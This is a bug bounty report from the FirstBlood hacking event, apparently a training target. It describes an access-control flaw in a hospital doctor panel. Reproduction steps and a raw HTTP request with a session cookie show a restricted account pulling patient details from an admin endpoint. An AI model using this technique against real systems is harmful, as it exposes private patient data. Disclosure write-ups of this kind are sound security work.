FirstBlood-#128IDOR - Restricted user can view the details of hospital user.



On 2021-05-10, ibruteforce reported:

Using the credentials as shown in https://www.bugbountyhunter.com/hackevents/report?id=123, it was understood that it was a restricted doctors account where full details aren't visible.

However, you could send a direct request to POST /drpanel/drapi/qp.php along with the name parameter using the restricted accounts cookie to view the full account information.

To reproduce:

  • Login with the credentials obtained using the methods shown in report #123.

  • On a new incognito tab, login with the drAdmin credentials given by bbhunter.

  • Once logged in, keep a note of your cookie which starts with drps. It should look something like drps=25bbddaccaa27a8bc23b6c212

  • Now on the incognito tab, on the dashboard, click on the appointment details and intercept the proxy.

  • Now, make the same request with the restricted users cookie, drps=25bbddaccaa27a8bc23b6c212 in this case.
POST /drpanel/drapi/qp.php HTTP/1.1
Host: firstbloodhackers.com:49387
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Prefer: safe
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
Origin: http://firstbloodhackers.com:49387
DNT: 1
Connection: close
Referer: http://firstbloodhackers.com:49387/drpanel/index.php
Cookie: drps=25bbddaccaa27a8bc23b6c212

name=Sean
HTTP/1.1 200 OK
Server: nginx
Date: Mon, 10 May 2021 15:47:05 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 228

Name: Sean zseano<br>Address: 53 Barkly Rd, Leeds, LS11 7ER<br>Telephone: 01394 389182<br>DOB: 13/03/37<hr>Name: Sean zseano<br>Address: 53 Barkly Rd, Leeds, LS11 7ER<br>Telephone: 01394 389182<br>DOB: 13/03/37<hr>

As you can see, using another endpoint you can leak arbitrary users emails.

P1 CRITICAL

Endpoint: /drpanel/drapi/qp.php

Parameter: NA

Payload: NA


FirstBlood ID: 11
Vulnerability Type: Application/Business Logic

Administrator endpoints can be accessed by non privileged doctor accounts which reveals sensitive patient information.


Respect Earnt: 2000000
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